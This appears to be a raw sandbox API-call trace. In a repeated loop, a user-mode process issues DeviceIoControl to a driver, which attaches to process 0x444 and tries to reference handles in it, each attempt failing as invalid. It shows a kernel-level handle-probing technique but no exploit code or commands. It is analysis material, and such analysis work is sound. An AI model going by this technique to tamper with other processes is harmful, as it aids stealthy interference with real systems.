[0093.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.976] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.976] PsAcquireProcessExitSynchronization () returned 0x0 [0093.976] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.976] ObReferenceObjectByHandle (in: Handle=0x1190, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.976] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.976] PsReleaseProcessExitSynchronization () returned 0x2 [0093.976] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.976] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.976] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.976] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.976] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.976] PsAcquireProcessExitSynchronization () returned 0x0 [0093.976] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.976] ObReferenceObjectByHandle (in: Handle=0x1194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.977] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.977] PsReleaseProcessExitSynchronization () returned 0x2 [0093.977] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.977] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.977] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.977] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.977] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.977] PsAcquireProcessExitSynchronization () returned 0x0 [0093.977] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.977] ObReferenceObjectByHandle (in: Handle=0x1198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.977] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.977] PsReleaseProcessExitSynchronization () returned 0x2 [0093.977] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.977] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.977] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.977] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.977] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.977] PsAcquireProcessExitSynchronization () returned 0x0 [0093.977] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.977] ObReferenceObjectByHandle (in: Handle=0x11a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.977] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.977] PsReleaseProcessExitSynchronization () returned 0x2 [0093.977] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.977] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.977] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.977] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.977] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.977] PsAcquireProcessExitSynchronization () returned 0x0 [0093.977] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.977] ObReferenceObjectByHandle (in: Handle=0x11b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.977] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.978] PsReleaseProcessExitSynchronization () returned 0x2 [0093.978] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.978] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.978] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.978] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.978] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.978] PsAcquireProcessExitSynchronization () returned 0x0 [0093.978] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.978] ObReferenceObjectByHandle (in: Handle=0x11b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.978] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.978] PsReleaseProcessExitSynchronization () returned 0x2 [0093.978] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.978] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.978] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.978] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.978] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.978] PsAcquireProcessExitSynchronization () returned 0x0 [0093.978] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.978] ObReferenceObjectByHandle (in: Handle=0x11bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.978] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.978] PsReleaseProcessExitSynchronization () returned 0x2 [0093.978] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.978] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.978] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.978] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.978] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.978] PsAcquireProcessExitSynchronization () returned 0x0 [0093.978] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.978] ObReferenceObjectByHandle (in: Handle=0x11c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.978] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.978] PsReleaseProcessExitSynchronization () returned 0x2 [0093.978] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.979] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.979] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.979] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.979] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.979] PsAcquireProcessExitSynchronization () returned 0x0 [0093.979] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.979] ObReferenceObjectByHandle (in: Handle=0x11d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.979] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.979] PsReleaseProcessExitSynchronization () returned 0x2 [0093.979] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.979] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.979] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.979] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.979] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.979] PsAcquireProcessExitSynchronization () returned 0x0 [0093.979] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.979] ObReferenceObjectByHandle (in: Handle=0x11d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.979] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.979] PsReleaseProcessExitSynchronization () returned 0x2 [0093.979] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.979] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.979] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.979] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.979] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.979] PsAcquireProcessExitSynchronization () returned 0x0 [0093.979] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.979] ObReferenceObjectByHandle (in: Handle=0x11dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.979] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.979] PsReleaseProcessExitSynchronization () returned 0x2 [0093.979] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.979] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.979] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.980] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.980] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.980] PsAcquireProcessExitSynchronization () returned 0x0 [0093.980] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.980] ObReferenceObjectByHandle (in: Handle=0x11e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.980] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.980] PsReleaseProcessExitSynchronization () returned 0x2 [0093.980] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.980] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.980] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.980] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.980] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.980] PsAcquireProcessExitSynchronization () returned 0x0 [0093.980] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.980] ObReferenceObjectByHandle (in: Handle=0x11e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.980] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.980] PsReleaseProcessExitSynchronization () returned 0x2 [0093.980] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.980] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.980] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.980] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.980] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.980] PsAcquireProcessExitSynchronization () returned 0x0 [0093.980] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.980] ObReferenceObjectByHandle (in: Handle=0x11e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.980] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.980] PsReleaseProcessExitSynchronization () returned 0x2 [0093.980] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.980] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.980] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.980] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.981] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.981] PsAcquireProcessExitSynchronization () returned 0x0 [0093.981] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.981] ObReferenceObjectByHandle (in: Handle=0x11f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.981] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.981] PsReleaseProcessExitSynchronization () returned 0x2 [0093.981] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.981] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.981] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.981] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.981] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.981] PsAcquireProcessExitSynchronization () returned 0x0 [0093.981] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.981] ObReferenceObjectByHandle (in: Handle=0x11f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.981] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.981] PsReleaseProcessExitSynchronization () returned 0x2 [0093.981] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.981] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.981] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.981] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.981] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.981] PsAcquireProcessExitSynchronization () returned 0x0 [0093.981] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.981] ObReferenceObjectByHandle (in: Handle=0x11f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.981] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.981] PsReleaseProcessExitSynchronization () returned 0x2 [0093.981] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.981] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.981] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.981] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.981] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.982] PsAcquireProcessExitSynchronization () returned 0x0 [0093.982] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.982] ObReferenceObjectByHandle (in: Handle=0x11fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.982] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.982] PsReleaseProcessExitSynchronization () returned 0x2 [0093.982] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.982] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.982] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.982] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.982] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.982] PsAcquireProcessExitSynchronization () returned 0x0 [0093.982] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.982] ObReferenceObjectByHandle (in: Handle=0x1200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.982] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.982] PsReleaseProcessExitSynchronization () returned 0x2 [0093.982] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.982] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.982] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.982] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.982] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.982] PsAcquireProcessExitSynchronization () returned 0x0 [0093.982] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.982] ObReferenceObjectByHandle (in: Handle=0x1204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.982] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.982] PsReleaseProcessExitSynchronization () returned 0x2 